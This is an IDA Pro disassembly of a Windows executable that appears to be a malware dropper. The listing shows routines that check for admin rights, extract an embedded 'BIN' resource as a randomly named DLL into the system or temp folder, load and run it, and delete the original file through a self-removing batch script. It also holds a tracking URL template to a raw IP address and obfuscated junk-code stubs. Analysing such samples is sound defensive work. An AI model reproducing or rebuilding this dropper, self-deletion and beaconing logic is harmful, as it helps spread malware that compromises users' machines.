; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 7946093A4EA37461B28748F171369AFB ; File Name : u:\work\7946093a4ea37461b28748f171369afb_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00007000 ( 28672.) ; Section size in file : 00007000 ( 28672.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; CODE XREF: sub_401598+9Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi xor esi, esi push esi push 80h push 2 push esi push 1 push 40000000h push [ebp+arg_0] xor ebx, ebx call ds:dword_402008 ; CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_401052 push esi lea eax, [ebp+var_4] push eax mov [ebp+var_4], esi mov esi, [ebp+arg_8] push esi push [ebp+arg_4] push edi call ds:dword_402004 ; WriteFile test eax, eax jz short loc_40104B cmp [ebp+var_4], esi jnz short loc_40104B inc ebx loc_40104B: ; CODE XREF: start+43j start+48j push edi call ds:dword_402000 ; CloseHandle loc_401052: ; CODE XREF: start+29j pop edi pop esi mov eax, ebx pop ebx leave retn start endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401059 proc near ; CODE XREF: sub_401598+A8p var_180 = byte ptr -180h var_7C = byte ptr -7Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 180h push ebx push esi push edi mov esi, offset aAzxcdsweq ; "azxcdsweq" lea edi, [ebp+var_18] movsd movsd lea eax, [ebp+var_18] push eax mov [ebp+var_C], 10h movsw call ds:dword_402018 ; lstrlenA push 104h lea eax, [ebp+var_180] push eax xor esi, esi push esi call ds:dword_402014 ; GetModuleFileNameA mov ebx, ds:dword_402008 push esi push esi push 3 pop edi push edi push esi push edi push 80000000h lea eax, [ebp+var_180] push eax call ebx ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_40114F push esi push esi push edi push esi push edi push 40000000h push [ebp+arg_0] call ebx ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_4010E1 push [ebp+var_4] call ds:dword_402000 ; CloseHandle jmp short loc_40114F ; --------------------------------------------------------------------------- loc_4010E1: ; CODE XREF: sub_401059+7Bj mov edi, ds:dword_402010 push 40h pop ebx push 2 push esi push 0FFFFFFC0h push [ebp+var_4] mov [ebp+var_C], ebx call edi ; SetFilePointer push esi lea eax, [ebp+var_C] push eax push [ebp+var_C] lea eax, [ebp+var_7C] push eax push [ebp+var_4] call ds:dword_40200C ; ReadFile test eax, eax jnz short loc_40111B push [ebp+var_4] mov esi, ds:dword_402000 jmp short loc_401148 ; --------------------------------------------------------------------------- loc_40111B: ; CODE XREF: sub_401059+B5j push 2 push esi push 0FFFFFFC0h push [ebp+var_8] call edi ; SetFilePointer push esi lea eax, [ebp+var_C] push eax push ebx lea eax, [ebp+var_7C] push eax push [ebp+var_8] mov [ebp+var_C], ebx call ds:dword_402004 ; WriteFile test eax, eax mov esi, ds:dword_402000 push [ebp+var_4] jnz short loc_401153 loc_401148: ; CODE XREF: sub_401059+C0j call esi ; CloseHandle push [ebp+var_8] call esi ; CloseHandle loc_40114F: ; CODE XREF: sub_401059+60j ; sub_401059+86j xor eax, eax jmp short loc_40115A ; --------------------------------------------------------------------------- loc_401153: ; CODE XREF: sub_401059+EDj call esi ; CloseHandle push [ebp+var_8] call esi ; CloseHandle loc_40115A: ; CODE XREF: sub_401059+F8j pop edi pop esi pop ebx leave retn sub_401059 endp ; =============== S U B R O U T I N E ======================================= sub_40115F proc near ; CODE XREF: sub_4013BB+40p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short loc_40118D mov al, [esp+arg_4] push ebx mov bl, al mov bh, bl mov edx, ecx push edi mov edi, [esp+8+arg_0] shr ecx, 2 mov eax, ebx shl eax, 10h mov ax, bx rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx loc_40118D: ; CODE XREF: sub_40115F+6j mov eax, [esp+arg_0] retn sub_40115F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401192 proc near ; CODE XREF: sub_401652+18p var_10 = dword ptr -10h var_8 = word ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+var_8] push eax call ds:dword_402084 ; GetCursorPos lea eax, [ebp+var_10] push eax call ds:dword_402020 ; GetSystemTimeAsFileTime call ds:dword_40201C ; GetTickCount movzx edx, [ebp+var_8] mov ecx, eax movzx eax, [ebp+var_4] shl eax, 10h or eax, edx imul ecx, eax imul ecx, [ebp+var_10] imul ecx, [ebp+var_10] xor edx, edx push 19h mov eax, ecx pop edi div edi mov esi, [ebp+arg_0] add dl, 61h and [ebp+arg_0], 0 mov [esi], dl loc_4011E4: ; CODE XREF: sub_401192+85j xor edx, edx push 5 pop ebx mov eax, ecx div ebx push 19h lea edi, [esi+1] movsx eax, dl movsx edx, byte ptr [esi] add eax, edx cdq pop esi idiv esi mov eax, ecx push 0Ah pop ecx mov esi, edi add dl, 61h mov [edi], dl xor edx, edx div ecx inc [ebp+arg_0] cmp [ebp+arg_0], 8 mov ecx, eax jl short loc_4011E4 push [ebp+arg_4] mov byte ptr [esi], 2Eh inc esi push esi call ds:dword_402070 ; lstrcpyA pop edi pop esi pop ebx leave retn sub_401192 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40122C proc near ; CODE XREF: .text:004016EFp var_470 = byte ptr -470h var_36C = byte ptr -36Ch var_268 = byte ptr -268h var_164 = byte ptr -164h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_34 = dword ptr -34h var_30 = word ptr -30h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 470h push ebx push esi push edi mov esi, 104h push esi lea eax, [ebp+var_36C] push eax xor ebx, ebx push ebx call ds:dword_402014 ; GetModuleFileNameA mov edi, 80h push edi lea eax, [ebp+var_36C] push eax call ds:dword_402030 ; SetFileAttributesA lea eax, [ebp+var_36C] push eax call ds:dword_40202C ; GetFileAttributesA cmp eax, edi jz short loc_401279 xor al, al jmp loc_401389 ; --------------------------------------------------------------------------- loc_401279: ; CODE XREF: sub_40122C+44j lea eax, [ebp+var_470] push eax push esi mov [ebp+var_1], bl call ds:dword_402028 ; GetTempPathA mov edi, ds:dword_402070 lea eax, [ebp+var_470] push eax lea eax, [ebp+var_268] push eax call edi ; lstrcpyA mov esi, ds:dword_402074 push offset aRemovalfile_ba ; "removalfile.bat" lea eax, [ebp+var_268] push eax call esi ; lstrcatA push ebx push ebx push 2 push ebx push ebx push 40000000h lea eax, [ebp+var_268] push eax call ds:dword_402008 ; CreateFileA cmp eax, ebx mov [ebp+var_8], eax jz loc_401386 push ebx lea ecx, [ebp+var_1C] push ecx push 2Bh push offset a@echoOffDfDel1 ; "@echo off\r\n:df\r\ndel %1\r\nif exist %1 got"... push eax call ds:dword_402004 ; WriteFile push [ebp+var_8] call ds:dword_402000 ; CloseHandle lea eax, [ebp+var_268] push eax lea eax, [ebp+var_164] push eax call edi ; lstrcpyA push offset asc_4020F4 ; " \"" lea eax, [ebp+var_164] push eax call esi ; lstrcatA lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_164] push eax call esi ; lstrcatA push offset asc_4020F0 ; "\"" lea eax, [ebp+var_164] push eax call esi ; lstrcatA push 10h pop ecx xor eax, eax lea edi, [ebp+var_5C] rep stosd mov [ebp+var_18], ebx lea edi, [ebp+var_14] stosd stosd stosd lea eax, [ebp+var_18] push eax lea eax, [ebp+var_60] push eax push ebx push ebx push ebx push ebx push ebx push ebx lea eax, [ebp+var_164] push eax push ebx mov [ebp+var_60], 44h mov [ebp+var_34], 1 mov [ebp+var_30], bx call ds:dword_402024 ; CreateProcessA push [ebp+var_14] mov esi, ds:dword_402000 test eax, eax setnz [ebp+var_1] call esi ; CloseHandle push [ebp+var_18] call esi ; CloseHandle loc_401386: ; CODE XREF: sub_40122C+A5j mov al, [ebp+var_1] loc_401389: ; CODE XREF: sub_40122C+48j pop edi pop esi pop ebx leave retn sub_40122C endp ; =============== S U B R O U T I N E ======================================= sub_40138E proc near ; CODE XREF: sub_4013BB+134p arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call ds:dword_40206C ; VirtualAlloc retn sub_40138E endp ; =============== S U B R O U T I N E ======================================= sub_4013A2 proc near ; CODE XREF: sub_4013BB+12Bp ; sub_4013BB+1B8p arg_0 = dword ptr 4 cmp [esp+arg_0], 0 jz short locret_4013BA push 8000h push 0 push [esp+8+arg_0] call ds:dword_402034 ; VirtualFree locret_4013BA: ; CODE XREF: sub_4013A2+5j retn sub_4013A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_4013BB proc near ; CODE XREF: sub_401598+Cp var_C4 = dword ptr -0C4h var_B4 = dword ptr -0B4h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp lea ebp, [esp-78h] sub esp, 0C4h push ebx xor ebx, ebx push esi mov esi, 94h push esi lea eax, [ebp+78h+var_C4] push ebx push eax mov [ebp+78h+var_1C], ebx mov [ebp+78h+var_10], ebx mov [ebp+78h+var_4], ebx mov [ebp+78h+var_20], 400h mov [ebp+78h+var_8], ebx mov [ebp+78h+var_18], bl mov [ebp+78h+var_17], bl mov [ebp+78h+var_16], bl mov [ebp+78h+var_15], bl mov [ebp+78h+var_14], bl mov [ebp+78h+var_13], 5 call sub_40115F add esp, 0Ch lea eax, [ebp+78h+var_C4] push eax mov [ebp+78h+var_C4], esi call ds:dword_402050 ; GetVersionExA xor eax, eax inc eax cmp [ebp+78h+var_B4], eax jz loc_401591 push edi push offset aAdvapi32_dll ; "advapi32.dll" call ds:dword_40204C ; LoadLibraryA mov edi, eax cmp edi, ebx mov [ebp+78h+var_C], edi jz loc_40158D mov esi, ds:dword_402048 push offset aAllocateandini ; "AllocateAndInitializeSid" push edi call esi ; GetProcAddress cmp eax, ebx mov [ebp+78h+var_30], eax jz loc_401584 push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress mov edi, eax cmp edi, ebx jz loc_401584 push offset aGettokeninform ; "GetTokenInformation" push [ebp+78h+var_C] call esi ; GetProcAddress cmp eax, ebx mov [ebp+78h+var_2C], eax jz loc_401584 push offset aEqualsid ; "EqualSid" push [ebp+78h+var_C] call esi ; GetProcAddress cmp eax, ebx mov [ebp+78h+var_24], eax jz loc_401584 push offset aFreesid ; "FreeSid" push [ebp+78h+var_C] call esi ; GetProcAddress cmp eax, ebx mov [ebp+78h+var_28], eax jz loc_401584 lea eax, [ebp+78h+var_8] push eax push ebx push ebx push ebx push ebx push ebx push ebx push 220h push 20h push 2 lea eax, [ebp+78h+var_18] push eax call [ebp+78h+var_30] test eax, eax jz loc_40155D lea eax, [ebp+78h+var_10] push eax push 8 call ds:dword_402044 ; GetCurrentProcess push eax call edi ; lstrcpyA test eax, eax jz loc_40155D mov esi, ds:dword_402040 loc_4014DE: ; CODE XREF: sub_4013BB+169j cmp [ebp+78h+var_4], ebx jz short loc_4014EC push [ebp+78h+var_4] call sub_4013A2 pop ecx loc_4014EC: ; CODE XREF: sub_4013BB+126j push [ebp+78h+var_20] call sub_40138E cmp eax, ebx pop ecx mov [ebp+78h+var_4], eax jz short loc_40155D push ebx call ds:dword_40203C ; RtlSetLastWin32Error lea eax, [ebp+78h+var_20] push eax push [ebp+78h+var_20] push [ebp+78h+var_4] push 2 push [ebp+78h+var_10] call [ebp+78h+var_2C] test eax, eax jnz short loc_401520 call esi ; RtlGetLastWin32Error cmp eax, 7Ah jnz short loc_40155D loc_401520: ; CODE XREF: sub_4013BB+15Cj call esi ; RtlGetLastWin32Error test eax, eax jnz short loc_4014DE mov eax, [ebp+78h+var_4] xor edi, edi cmp [eax], ebx mov [ebp+78h+var_1C], ebx jbe short loc_40155D mov esi, eax add esi, 8 loc_401537: ; CODE XREF: sub_4013BB+197j push dword ptr [esi-4] push [ebp+78h+var_8] call [ebp+78h+var_24] test eax, eax jz short loc_401549 test byte ptr [esi], 10h jz short loc_401556 loc_401549: ; CODE XREF: sub_4013BB+187j mov eax, [ebp+78h+var_4] inc edi add esi, 8 cmp edi, [eax] jb short loc_401537 jmp short loc_40155D ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: sub_4013BB+18Cj mov [ebp+78h+var_1C], 1 loc_40155D: ; CODE XREF: sub_4013BB+100j ; sub_4013BB+117j ... cmp [ebp+78h+var_10], ebx jz short loc_40156B push [ebp+78h+var_10] call ds:dword_402000 ; CloseHandle loc_40156B: ; CODE XREF: sub_4013BB+1A5j cmp [ebp+78h+var_4], ebx jz short loc_401579 push [ebp+78h+var_4] call sub_4013A2 pop ecx loc_401579: ; CODE XREF: sub_4013BB+1B3j cmp [ebp+78h+var_8], ebx jz short loc_401584 push [ebp+78h+var_8] call [ebp+78h+var_28] loc_401584: ; CODE XREF: sub_4013BB+8Dj ; sub_4013BB+9Fj ... push [ebp+78h+var_C] call ds:dword_402038 ; FreeLibrary loc_40158D: ; CODE XREF: sub_4013BB+74j mov eax, [ebp+78h+var_1C] pop edi loc_401591: ; CODE XREF: sub_4013BB+5Bj pop esi pop ebx add ebp, 78h leave retn sub_4013BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401598 proc near ; CODE XREF: sub_401652+2Dp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_1], 0 call sub_4013BB test eax, eax mov esi, ds:dword_402074 mov ebx, [ebp+arg_8] jz short loc_4015CC push 104h push ebx call ds:dword_402078 ; GetSystemDirectoryA push offset asc_402164 ; "\\" push ebx call esi ; lstrcatA jmp short loc_4015D8 ; --------------------------------------------------------------------------- loc_4015CC: ; CODE XREF: sub_401598+1Cj push ebx push 104h call ds:dword_402028 ; GetTempPathA loc_4015D8: ; CODE XREF: sub_401598+32j push [ebp+arg_4] push ebx call esi ; lstrcatA push 80h push ebx call ds:dword_402030 ; SetFileAttributesA push 0 call ds:dword_402064 ; GetModuleHandleA push offset aBin ; "BIN" mov esi, eax push 68h push esi call ds:dword_402060 ; FindResourceA mov edi, eax test edi, edi jz short loc_40164A push edi push esi call ds:dword_40205C ; LoadResource test eax, eax jz short loc_40164A push eax call ds:dword_402058 ; SetHandleCount test eax, eax mov [ebp+var_8], eax jz short loc_40164A push edi push esi call ds:dword_402054 ; SizeofResource test eax, eax jz short loc_40164A push eax push [ebp+var_8] push ebx call start add esp, 0Ch test eax, eax jz short loc_40164A push ebx call sub_401059 pop ecx mov [ebp+var_1], 1 loc_40164A: ; CODE XREF: sub_401598+6Ej ; sub_401598+7Aj ... mov al, [ebp+var_1] pop edi pop esi pop ebx leave retn sub_401598 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401652 proc near ; CODE XREF: .text:004016EAp var_208 = byte ptr -208h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 208h push esi xor esi, esi loc_40165E: ; CODE XREF: sub_401652+40j lea eax, [ebp+var_104] push offset aDll ; "dll" push eax call sub_401192 lea eax, [ebp+var_208] push eax lea eax, [ebp+var_104] push eax push 1 call sub_401598 add esp, 14h test al, al jz short loc_40168E push 63h pop esi loc_40168E: ; CODE XREF: sub_401652+37j inc esi cmp esi, 1Eh jl short loc_40165E cmp esi, 64h jnz short loc_4016C2 lea eax, [ebp+var_208] push eax call ds:dword_40204C ; LoadLibraryA mov esi, eax test esi, esi jz short loc_4016C2 push 1 push esi call ds:dword_402048 ; GetProcAddress test eax, eax jz short loc_4016BB call eax loc_4016BB: ; CODE XREF: sub_401652+65j push esi call ds:dword_402038 ; FreeLibrary loc_4016C2: ; CODE XREF: sub_401652+45j ; sub_401652+58j xor al, al pop esi leave retn sub_401652 endp ; --------------------------------------------------------------------------- sub esp, 104h push offset dword_403068 push offset dword_403000 lea eax, [esp+8] push offset aHttp65_243_103 ; "http://65.243.103.60/go//?cmp=vmtek_upd"... push eax call ds:dword_402080 ; wsprintfA add esp, 10h call sub_401652 call sub_40122C push 0 call ds:dword_402044 ; GetCurrentProcess push eax call ds:dword_402068 ; TerminateProcess add esp, 104h retn 10h ; --------------------------------------------------------------------------- dd 23Dh dup(0) dword_402000 dd 7C809B47h ; resolved to->KERNEL32.CloseHandledword_402004 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_402008 dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_40200C dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_402010 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_402014 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_40122C+1Cr dword_402018 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenAdword_40201C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_402020 dd 7C8017E5h ; resolved to->KERNEL32.GetSystemTimeAsFileTimedword_402024 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_402028 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_401598+3Ar dword_40202C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesAdword_402030 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_401598+4Cr dword_402034 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_402038 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_401652+6Ar dword_40203C dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Errordword_402040 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_402044 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; .text:004016F6r dword_402048 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_401652+5Dr dword_40204C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_401652+4Er dword_402050 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_402054 dd 7C80BC69h ; resolved to->KERNEL32.SizeofResourcedword_402058 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_40205C dd 7C809FB5h ; resolved to->KERNEL32.LoadResourcedword_402060 dd 7C80BE89h ; resolved to->KERNEL32.FindResourceAdword_402064 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_402068 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_40206C dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_402070 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_40122C+5Er dword_402074 dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_401598+13r dword_402078 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA align 10h dword_402080 dd 7E41A8ADh ; resolved to->USER32.wsprintfAdword_402084 dd 7E41BD76h ; resolved to->USER32.GetCursorPos align 10h dd 68h aRemovalfile_ba db 'removalfile.bat',0 ; DATA XREF: sub_40122C+7Ao a@echoOffDfDel1 db '@echo off',0Dh,0Ah ; DATA XREF: sub_40122C+B2o db ':df',0Dh,0Ah db 'del %1',0Dh,0Ah db 'if exist %1 goto df',0 aRundll32_exeSA db 'rundll32.exe %s,a',0 align 4 aAzxcdsweq db 'azxcdsweq',0 ; DATA XREF: sub_401059+Co align 10h asc_4020F0: ; DATA XREF: sub_40122C+F5o unicode 0, <">,0 asc_4020F4 db ' "',0 ; DATA XREF: sub_40122C+D7o align 4 aFreesid db 'FreeSid',0 ; DATA XREF: sub_4013BB+CFo aEqualsid db 'EqualSid',0 ; DATA XREF: sub_4013BB+BAo align 4 aGettokeninform db 'GetTokenInformation',0 ; DATA XREF: sub_4013BB+A5o aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4013BB+93o align 4 aAllocateandini db 'AllocateAndInitializeSid',0 ; DATA XREF: sub_4013BB+80o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4013BB+62o align 10h aBin db 'BIN',0 ; DATA XREF: sub_401598+5Ao asc_402164: ; DATA XREF: sub_401598+2Ao unicode 0, <\>,0 aDll db 'dll',0 ; DATA XREF: sub_401652+12o align 10h aHttp65_243_103 db 'http://65.243.103.60/go//?cmp=vmtek_update&lid=run&uid=%s&guid=%s' ; DATA XREF: .text:004016DBo db 0 align 4 dd 0C2h dup(0) dd 41564441h, 32334950h, 6C6C642Eh, 2CEh dup(0) dword_403000 dd 1Ah dup(0) dword_403068 dd 420h dup(0) dd 420003h, 4E0049h, 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0F8h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 1Fh dup(0) dd 4550h, 4014Ch, 47D92872h, 2 dup(0) dd 210E00E0h, 0A07010Bh, 5000h, 1000h, 1E000h, 1000h, 24000h dd 1F000h, 10000000h, 1000h, 200h, 4, 0 dd 4, 0 dd 26000h, 1000h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 25054h, 3Ch, 1Ch dup(0) dd 7865742Eh, 74h, 1E000h, 1000h, 4200h, 400h, 3 dup(0) dd 0E0000020h, 7461642Eh, 61h, 5000h, 1F000h, 4200h, 4600h dd 3 dup(0) dd 40000040h, 6164722Eh, 6174h, 1000h, 24000h, 400h, 8800h dd 3 dup(0) dd 0C0000040h, 6164692Eh, 6174h, 1000h, 25000h, 600h, 8C00h dd 3 dup(0) dd 40000040h, 5Ch dup(0) ; --------------------------------------------------------------------------- jmp short loc_4044F7 ; --------------------------------------------------------------------------- dw 0FCEFh db 85h, 0DAh, 0Bh ; --------------------------------------------------------------------------- loc_4044F7: ; CODE XREF: .text:004044F0j jmp loc_404501 ; --------------------------------------------------------------------------- dd 0E7A601E8h ; --------------------------------------------------------------------------- xchg eax, esp loc_404501: ; CODE XREF: .text:loc_4044F7j sub esp, 4 xchg ecx, [esp] mov ecx, [esp] mov ecx, 0C7CBD083h sub eax, ecx pop ecx add eax, 0C7CBD083h jmp short loc_404523 ; --------------------------------------------------------------------------- dw 0DF7Eh ; --------------------------------------------------------------------------- sub al, 0F5h mov bh, bl sbb [ecx+56h], dh loc_404523: ; CODE XREF: .text:00404518j sub edi, 7F7FC9ADh push eax push 0 or [esp], eax pop dword ptr [esp] push 7F7FC9ADh pop eax add edi, eax pop eax jmp loc_404554 ; --------------------------------------------------------------------------- db 0A9h dd 655CCF2Eh, 0E148EB3Ah, 1DF4C706h, 19606392h ; --------------------------------------------------------------------------- loc_404554: ; CODE XREF: .text:0040453Ej add esp, 0FFFFFFFCh mov [esp], ebx push 0AF8A8DD5h pop ebx add edi, ebx pop ebx sub edi, 0AF8A8DD5h mov ecx, eax push edi push 0 add [esp], ecx neg edi mov edi, ebx cmovbe ecx, esi xor edi, esi mov ecx, 80C620h mov ecx, 80A5A0h js loc_4045B2 jz short loc_404598 verw di bsr ecx, edi loc_404598: ; CODE XREF: .text:00404590j test cl, al mov ecx, 80C4E0h mov cx, 48EEh xor edi, edx verw cx cmp al, 0EFh mov ecx, 808B60h not edi dec ecx loc_4045B2: ; CODE XREF: .text:0040458Aj cld pop ecx pop edi xor ecx, ecx mov [esp-4], ebx jmp loc_4045CC ; --------------------------------------------------------------------------- db 8Dh dd 89905342h, 45BCAF8Eh ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: .text:004045BEj sub esp, 4 push 0EC773724h pop ebx sub edi, ebx pop ebx push 0 xor [esp], ecx mov [esp-4], ecx jmp loc_4045FE ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h ; --------------------------------------------------------------------------- mov ch, 4Ah loc_4045FE: ; CODE XREF: .text:004045EAj sub esp, 4 pop dword ptr [esp] mov ecx, 0EC773724h add edi, ecx pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- db 0BBh, 0D8h, 31h dd 6D849716h, 69F033A2h, 251C8FEEh ; --------------------------------------------------------------------------- loc_404620: ; CODE XREF: .text:0040460Fj mov cx, cs mov [esp-4], edx jmp short loc_40462F ; --------------------------------------------------------------------------- db 8, 0A1h, 0C6h ; --------------------------------------------------------------------------- loc_40462F: ; CODE XREF: .text:0040462Aj sub esp, 4 add esp, 0FFFFFFFCh mov [esp], esi xor esi, edi std shrd esi, edx, cl lea edx, ds:80C8D0h arpl si, si neg edx dec esi neg esi imul edx, esi neg esi cmovs esi, ebx mov edx, ecx and edx, 80D820h verw si xchg esi, esi mov esi, edx dec esi cld pop esi pop edx mov ecx, ecx xchg dx, dx lea esp, [esp] xor eax, 0 mov cl, 0 push 0 or [esp], ecx sub esp, 4 xchg edx, [esp] mov edx, [esp] push 0 add [esp], edx pop dword ptr [esp] cmp bh, al test al, bl xor edx, esi rcl edx, 51h jo loc_4046BF mov ecx, edx mov edx, 828910h mov dx, 492Eh rcl ecx, 0EBh ror edx, 53h test eax, esi inc ecx mov edx, edi xor ecx, edi dec edx loc_4046BF: ; CODE XREF: .text:004046A0j lea edx, ds:808890h rep cld pop edx pop ecx or ch, ch jz loc_40476A push ebx mov ebx, ebp mov ebx, edi mov ebx, ebp pop ebx xchg edx, edx xchg si, si xchg si, si push eax jmp loc_4046F0 ; --------------------------------------------------------------------------- db 50h dd 7C6F4E49h, 688B5A05h ; --------------------------------------------------------------------------- loc_4046F0: ; CODE XREF: .text:004046E2j pop eax push ecx jmp short loc_4046FF ; --------------------------------------------------------------------------- dd 0B2BD1467h, 0FEB98003h db 5Fh, 0ACh, 75h ; --------------------------------------------------------------------------- loc_4046FF: ; CODE XREF: .text:004046F2j pop ecx jmp short locret_404713 ; --------------------------------------------------------------------------- dw 0F198h dd 2D4457D6h, 29B0F362h, 0E5DC4FAEh db 0BAh, 6Bh, 0C8h ; --------------------------------------------------------------------------- locret_404713: ; CODE XREF: .text:00404700j retn ; --------------------------------------------------------------------------- add esp, 0FFFFFFFCh mov [esp], edi push 37EBA247h pop edi sub edx, edi pop edi sub esp, 4 xchg ecx, [esp] mov ecx, [esp] push 37EBA247h pop ecx add edx, ecx pop ecx jmp short loc_40473F ; --------------------------------------------------------------------------- dw 0E312h db 0E0h, 99h, 5Eh ; --------------------------------------------------------------------------- loc_40473F: ; CODE XREF: .text:00404738j jmp loc_404753 ; --------------------------------------------------------------------------- aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h loc_404753: ; CODE XREF: .text:loc_40473Fj sub esp, 4 mov [esp], edi mov edi, 0E60983Ch add edx, edi pop edi sub edx, 0E60983Ch loc_40476A: ; CODE XREF: .text:004046CBj mov eax, 80000000h jmp loc_404779 ; --------------------------------------------------------------------------- dec ebx sub [ecx-1Ah], al daa loc_404779: ; CODE XREF: .text:0040476Fj cpuid push edx mov [esp-4], ecx jmp short loc_40478C ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dw 7940h dd 356C1FBEh ; --------------------------------------------------------------------------- loc_40478C: ; CODE XREF: .text:00404783j sub esp, 4 mov cx, 48EDh cmp al, 0CEh bsr edx, edx arpl dx, dx cld pop ecx pop edx cmp eax, 665B5001h jnz loc_4048B4 lea ebp, [ebp+0] cmp edx, 7A7000h jnz loc_4048B4 add esp, 0FFFFFFFCh mov [esp], eax sub esp, 4 xchg edx, [esp] pop edx sub esp, 4 jmp loc_4047F3 ; --------------------------------------------------------------------------- db 0Fh, 41h, 0D6h dd 0D333D08Bh, 0D0F7F73Bh, 80B85851h, 0F008125h, 0C287E800h dd 0FD0BD0Fh db 47h, 0C1h, 48h ; --------------------------------------------------------------------------- loc_4047F3: ; CODE XREF: .text:004047D0j lea eax, ds:80DB60h mov dx, 5368h arpl ax, dx xadd edx, edx inc eax cld pop edx 